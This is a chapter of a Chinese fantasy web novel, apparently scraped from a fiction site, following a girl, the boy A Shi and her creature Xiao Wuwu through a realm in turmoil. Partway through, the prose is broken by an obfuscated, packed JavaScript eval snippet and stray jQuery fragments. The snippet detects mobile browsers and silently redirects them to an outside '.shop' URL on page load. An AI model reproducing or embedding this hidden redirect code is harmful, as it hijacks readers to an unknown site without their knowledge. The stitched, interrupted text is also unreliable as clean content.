文趣网 > 其他小说 > 我能躺赢,全仰仗尾巴 > 149. 第149章
    除此以外,更有悬歌城独行险举,斩月下催税钦差,欲效五百年前“铁骨盟”旧事,公然树义旗,欲讨伐人君失道。许是此举惊动了死在这里的亡魂,血气冲霄,凝为红雾,百里可见。月下州业已颁讨逆檄文,调集各路军马,谓之“平叛”。昔年铁骨血战之地,今朝烽烟再起。

    更令我震惊和不解的,是有关人君舒尚之事。

    当年,舒尚觊觎舒仲之位,潜心蛰伏多年,终于于玉山一战后篡位。只不过此人心中知道自己得国不正,故深患失之。其性多疑刻忌,日夜难安。凡先朝旧臣、同宗子弟,乃至坊间偶语者,稍涉忤意,辄以“逆党”论处,抄家灭门者不可胜数。朝堂之上,人人自危,噤若寒蝉。

    自银柳、玄洛发现怪物之事后,舒尚日益癫狂。听信国师施道之言,竟颁了一道《净世令》,凡身形特异、言行非常,或仅被邻舍诬告者,皆以“怪胎”、“妖化”之名捕杀。曾有西边的丹江城,因谣传“白毛妖童”现世,舒尚竟令军士闭城三月,逐户盘查,牵连致死数千。该城自此十室九空,人称“白骨坊”。其政“宁错杀万民,不放过一怪”,足以令民间小儿夜啼,闻“舒尚”之名即止。

    满朝文武,多附和国师施道者,唯护国大将军南翊一人,屡次直言抗辩,斥《净世令》枉害无辜,谏舒尚远小人、修德政。施道虽忌之,然南翊掌重兵、得军心,且战功赫赫,忠于舒尚,暂难动摇。但百姓皆知,南翊已是施道心头大患,不得不除。

    心情有些复杂。

    我听完阿十讲述这些,突然觉得自己这趟“想找个地方安静哭鼻子”的逃跑之旅,有些荒诞可笑了。

    “所以,你究竟要去哪儿?”

    少年问得认真。这是他第三次问我要去哪儿了。

    真是困扰。我好像没什么太多选择——琉璃渡封了,我没法去青莲山;月下州戒严,我根本进不去看看自己买的小屋还在不在;看来只能回小苹村了,可是,小苹村属丹江城地界,要去也没那么简单。

    那么去找宏音呢?他在灵璧城。我要么从未湖去,要么只能择道天翮城——目前来说都很远很难,怕是还没找到他,我的眼泪就要流干了。

    我举起小呜呜看了看。这个小家伙,好像不会飞。罢了,现在到处戒严,骑飞兽必然会被盯上。眼下尾巴还没醒,我还是不要惹事为妙。

    “想好了么,要去哪儿?”阿十又一次问我。

    我盯着少年平淡无波的眼睛,疑惑道,“为什么总是问我?”

    “倒没有别的原因。”阿十垂下眼,声音淡淡的,“你身无分文,我若将你一个人留在这里,好似有些绝情。”认真想了片刻,他抬眸看向我,“毕竟在船上,你救了我。”

    “我要去丹江城,我的老家在镜子山下。”

    “……要同路么?”阿十俯身抱起小呜呜,声音透着不属于他这个年纪的老成,“我要去悬歌城,正好顺路。”

    我快步跟上阿十,急问道,“悬歌城很危险,你去那里干嘛?”

    因被揍肿的眼睛有些疼痛,阿十用力眨了一下,淡声道,“原想去映山都,但攒了两年钱,还是凑不够入境费。罢了,不如回家。”

    我心情有些复杂。

    原来阿十也要回家去,哪怕他的家在危地。

    就这么莫名其妙,我带着小呜呜,跟着一个只比我高一点的少年,踏上了“回家”之路。

    自玉山南三城并入仙界后,如今的人界九城,以都城月下州为天下枢机,余下八城各据要冲,执掌一方命脉。

    银柳、玄洛、归粟三城,拥沃野千里,乃人界粮仓。其中尤以归粟城粮储最丰,民风最为淳厚隐忍。东北部未湖城毗邻仙界,水网交织,舟楫云集,更以地下蕴藏丰沛矿藏著称,富甲一方。其邻千匠城汇聚天下巧匠,锻铁声昼夜不息,是诸城武备与机巧之源泉。

    而悬歌城山形奇崛,地下暗河与溶洞错综如迷宫,易守难攻,自古便是兵家必争之地。刃柱城则雄踞西北险隘,城高池深,是与魔界联通的要道。

    最为荒凉者,当属人界西陲、夹在刃柱城和银柳城之间的丹江城。此地丘陵遍布,土地贫瘠,物产匮乏,仙力凋零,历来是流放罪徒、滋生边荒豪强之所。

    此番我与阿十自刃柱城启程,在其境内的闸关里分道——我折向南,穿过丹江城,去往镜子山;阿十则向北,往悬歌城。

    一路上,我对小呜呜的潜能进行了试探开发。我不信身为焉耆和玄洛君的后代,会没点特殊技能。经过几天孜孜不倦的探索,我终于有了新发现——

    小呜呜,可以变大到水牛一样的大小!

    这天夜里,我把睡梦中的阿十叫醒,叫他来看我的重大发现。小呜呜被我翻来覆去摸了好几天,每一片鳞都被按了个遍,终于,它膨胀变大了。它兴奋地跳来跳去,惊动了林间还未醒来的鸟儿们。

    “太好了!咱们可以省点力气啦!”

    阿十个头不大,口气却沉稳得不像话。他绕着小呜呜转了好几圈,贴着它这里听一听,那里听一听,最终下了结论,“高兴太早了。这个家伙天生肺有病,受不得累。你听,是不是哼哧哼哧?”

    我微微一怔,连忙贴上去一听——还真是。肺部随着它的呼吸,发出了破旧风箱似的声响。怪不得这个小家伙会哼哧,还总是要我抱着走,原是身体弱,受不得累。

    有些挫败。也就是说,虽然开发了小呜呜的特殊能力,却没什么用。

    我摸摸这个在我手心不停蹭、撒娇的大家伙,心中一叹,也罢,就当带它出来玩吧。好在它的尾巴粗壮有力堪称凶器,还能当半个保镖。

    于是乎,我和阿十经过商量,决定这么干:我们骑着小呜呜走一段路,然后呢,便由我和阿十轮流抱着小呜呜再走一截路——

    我们就这么上路了。

    刃柱城狭长,东西跨度大。越往东走,所见越是令人费解。不少人向着长烬海西行,一路还会遇到些贼匪,有的甚至还没把将军甲换下。我和阿十两个穷光蛋被洗劫了三次,轮到被第四伙歹徒抢劫时,我们是真的一枚利衡币都没有了。

    望着那伙人将我们包裹里最后两块荞麦烧饼夺走、扬长而去的背影,阿十摇头长叹,“今晚没得吃,挖点野菜糊弄一下吧。”

    我夹着小呜呜,这几天被歹徒轮番洗劫的怒火再也抑制不住。就连刃柱城这样的大城如今都如此乱,别提其他地方了。看样子,该城的镇守使对治安混乱一事,也无能为力了。

    “今天咱们必须得吃口热的,睡在床上!”我咬牙,“走,进城!”

    一处名叫大刀里的地方,入夜了,灯火阑珊,看样子不是太繁盛。

    人界的治理体系较仙界、魔界而言,是最为复杂的。以月下州为枢,人界行三级之制。

    月下州设政事殿总揽民政,枢机殿统辖军事,天鉴殿监察天下。三殿之上,唯人君独尊。

    九大城由太守牧民,镇守使戍防,巡鉴使监临。三府并立,分权制衡,皆直承中央。

    城之下设诸多“里”。每里设里正理政收赋,里尉掌治安缉盗。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17630786|204291||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    这大刀里,已无镇守军派驻,城门大开,供人进出自由。我和阿十就这么大摇大摆穿过了城门。

    一路人烟寥寥,安静得有些诡异。我和阿十找了间灯最亮的客栈,抬脚而入。

    名叫“等夜楼”,还挺有韵味,听着不像是黑店。

    “啊?身无分文但是想住店?”掌柜的抬起眼皮子扫了我一眼,随即垂下脑袋,指挥着一只雪雀拨弄算盘,“药铺直行五十步左拐。”

    “掌柜的,你看我这身衣裳可还值钱?”我堆起笑,扯了扯自己的袖子,“绝对一尺千金。我们两个饥肠辘辘不说,一路没睡过正经床榻,实在受不住了。”

    那掌柜的到底是见过世面。他和两个小二绕着我看了好几圈,眼珠子一转,同意我用这身华服换口吃的。

    看着我换上粗布衣裳,阿十不解地问道,“那么好看的衣裳,就这么卖了?”

    我嘿嘿一笑,“等着被下一波歹徒抢走,还不如先下手为强。我看掌柜很好说话,请他再给咱们包点干粮。”

    “……可这段时间你几乎不怎么吃东西。”

    “你不也吃得少。”

    阿十一怔,垂头接过已经睡着的小呜呜,“你的狗胃口大,先给它吃饱,不然它会把咱们两个吃了。”

    掌柜的估计是觉得今日遇上了冤大头,狠狠赚了一笔,殷勤至极。这不,我刚换了衣服,小二就端来热水给我们擦洗。

    我解开辫子,抖了抖上面的土,拧了帕子先给小呜呜擦亮,“小呜呜怎么可能吃咱们——如果真算起来,我是它奶奶。”

    “可是饿了,也会为了活下去吃。”

    阿十的话令我胆寒。他不像是乱说——那双幽深又认真的眸子,好似是真的在向我请教。

    “乱世确实有易子而食的事情。”我将帕子浸入温水,缓缓说道,“菜人如同牲畜一般挂出来出售,饿极了,别说亲人,就差砍掉自己的胳膊腿吃了。饥饿,是万物刻在骨子里最深的恐惧。”

    见阿十听得认真,我拧干帕子,给小呜呜擦完脸,又洗了一遍,然后捏住阿十的下巴,给他擦了擦脸上的尘土。

    “但是阿十,那不是常理。人之所以为人,便是知道礼义廉耻,被道德约束。没有人会歌颂、称赞这样的行为——对人来说,这是耻辱,是必须要去避免的愚行和惨状。”

    阿十若有所思,秀气的眉头紧紧拧成一团,半晌才跟在我身后问道,“你的意思是,让强大的人先吃饱,不是因为恐惧,而是为了让对方去承载‘改变现状’这种潜在的心愿?”

    “嗯,是这样。”我一边脱去外衫,一边回头看阿十,“昔日百姓自发给义军送粮,也是怀着这样朴素又无奈的想法。我得擦擦,给我两刻钟,然后咱们就睡觉。”

    这夜,我和阿十、小呜呜终于不用再风餐露宿,有了一张不算软的床睡觉。

    只是,这夜不太平。

    最先醒的是小呜呜——噼里啪啦的声音惊醒了它。

    客栈本就简陋,当这夜被一群路过的贼匪撞开大门时,木板都在呻吟。

    匪首是个满脸横肉的汉子,刚抡起刀要吓唬掌柜,忽觉屁股剧痛——“嗷!”一声惨嚎。

    我和阿十原本躲在门口紧盯那头的动静,却惊觉小呜呜不见了踪影。再一看,它已经左扑右咬——不管是屁股还是胳膊,咬了再说。随即鳞尾炸起,喉咙里发出威胁的呜噜声。

    我惊得头皮发麻,一拍脑袋,我忘了小呜呜继承了焉耆的毛病——记仇。惊醒它睡觉的,一个不放过。